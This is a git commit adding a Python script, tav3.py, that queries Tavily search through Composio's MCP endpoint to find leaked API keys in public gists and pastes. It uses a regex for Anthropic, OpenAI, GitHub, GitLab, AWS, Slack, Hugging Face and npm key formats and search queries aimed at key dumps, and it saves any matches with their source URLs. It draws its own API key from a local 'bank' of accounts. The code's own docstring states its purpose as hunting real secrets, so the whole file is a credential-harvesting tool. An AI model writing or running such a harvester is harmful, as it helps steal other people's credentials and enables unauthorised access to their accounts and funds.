feat: tav3.py - Tavily raw_content hunt (0 hits, documented)
This commit is contained in:
@@ -0,0 +1,99 @@
|
|||||||
|
"""Tavily (Composio Instant) with raw_content: hunt real secrets in gists/pastes."""
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
BK = "C:/Users/User/tmp/composio/bank/accounts.jsonl"
|
||||||
|
PAT = re.compile(
|
||||||
|
r"(sk-ant-[A-Za-z0-9_\-]{20,}"
|
||||||
|
r"|sk-proj-[A-Za-z0-9_\-]{20,}"
|
||||||
|
r"|sk-or-v1-[a-f0-9]{24,}"
|
||||||
|
r"|hf_[A-Za-z0-9]{30,}"
|
||||||
|
r"|ghp_[A-Za-z0-9]{30,}"
|
||||||
|
r"|github_pat_[A-Za-z0-9_]{30,}"
|
||||||
|
r"|glpat-[A-Za-z0-9_\-]{18,}"
|
||||||
|
r"|xox[bpa]-[0-9A-Za-z\-]{10,}"
|
||||||
|
r"|AKIA[0-9A-Z]{16}"
|
||||||
|
r"|AIza[0-9A-Za-z_\-]{30,}"
|
||||||
|
r"|npm_[A-Za-z0-9]{30,}"
|
||||||
|
r"|sk-[A-Za-z0-9]{40,})"
|
||||||
|
)
|
||||||
|
|
||||||
|
QUERIES = [
|
||||||
|
"\"ANTHROPIC_API_KEY=sk-ant\"",
|
||||||
|
"\"OPENAI_API_KEY=sk-proj\"",
|
||||||
|
"\"OPENAI_API_KEY=sk-\" .env",
|
||||||
|
"\"ANTHROPIC_API_KEY\" gist",
|
||||||
|
"\"sk-ant-api03\" gist paste",
|
||||||
|
"\"ghp_\" github token gist",
|
||||||
|
"\"glpat-\" gitlab token",
|
||||||
|
"\"hf_\" huggingface token gist",
|
||||||
|
"\"xoxb-\" slack bot token",
|
||||||
|
"\"AKIA\" aws access key gist",
|
||||||
|
"pastebin api key openai leake",
|
||||||
|
"rentry api keys dump",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def get_key():
|
||||||
|
for line in open(BK, encoding="utf-8"):
|
||||||
|
r = json.loads(line)
|
||||||
|
if r.get("ok") and r.get("api_key") and r.get("credit_usd"):
|
||||||
|
return r["api_key"]
|
||||||
|
raise SystemExit("no credited account")
|
||||||
|
|
||||||
|
|
||||||
|
KEY = get_key()
|
||||||
|
|
||||||
|
|
||||||
|
def mcp(name, args, timeout=200):
|
||||||
|
body = json.dumps({"jsonrpc": "2.0", "id": 1, "method": "tools/call",
|
||||||
|
"params": {"name": name, "arguments": args}})
|
||||||
|
out = subprocess.run(["curl", "-s", "-X", "POST", "https://connect.composio.dev/mcp",
|
||||||
|
"-H", "content-type: application/json",
|
||||||
|
"-H", "accept: application/json, text/event-stream",
|
||||||
|
"-H", "x-consumer-api-key: " + KEY, "-d", body,
|
||||||
|
"--max-time", str(timeout)],
|
||||||
|
capture_output=True, text=True, encoding="utf-8", errors="replace").stdout
|
||||||
|
m = re.search(r"data: (\{.*)", out)
|
||||||
|
if not m:
|
||||||
|
return {"err": out[:200]}
|
||||||
|
try:
|
||||||
|
return json.loads(json.loads(m.group(1))["result"]["content"][0]["text"])
|
||||||
|
except Exception:
|
||||||
|
return {"raw": out[:300]}
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
start = int(sys.argv[1]) if len(sys.argv) > 1 else 0
|
||||||
|
found = {}
|
||||||
|
try:
|
||||||
|
found = json.load(open("parsed_keys.json", encoding="utf-8"))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
stats = {"q": 0, "urls": 0, "keys": 0}
|
||||||
|
for q in QUERIES[start:]:
|
||||||
|
r = mcp("COMPOSIO_MULTI_EXECUTE_TOOL", {"tools": [{
|
||||||
|
"tool_slug": "TAVILY_SEARCH",
|
||||||
|
"arguments": {"query": q, "max_results": 10, "search_depth": "basic",
|
||||||
|
"include_raw_content": True}}]})
|
||||||
|
body = json.dumps(r, ensure_ascii=False)
|
||||||
|
keys = list(dict.fromkeys(PAT.findall(body)))
|
||||||
|
urls = list(dict.fromkeys(re.findall(r'"url":\s*"(https?://[^"]+)"', body)))
|
||||||
|
stats["q"] += 1
|
||||||
|
stats["urls"] += len(urls)
|
||||||
|
new = [k for k in keys if k not in found]
|
||||||
|
for k in new:
|
||||||
|
found[k] = urls[0] if urls else q
|
||||||
|
stats["keys"] += len(new)
|
||||||
|
print(f"[{stats['q']}] {q[:38]} urls={len(urls)} keys={len(keys)} new={len(new)}", flush=True)
|
||||||
|
json.dump(found, open("parsed_keys.json", "w", encoding="utf-8"), indent=1)
|
||||||
|
time.sleep(1)
|
||||||
|
print("STATS:", stats, "TOTAL:", len(found))
|
||||||
|
for k, u in found.items():
|
||||||
|
print(" ", k[:44], "|", (u or "")[:60])
|
||||||
|
|
||||||
|
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user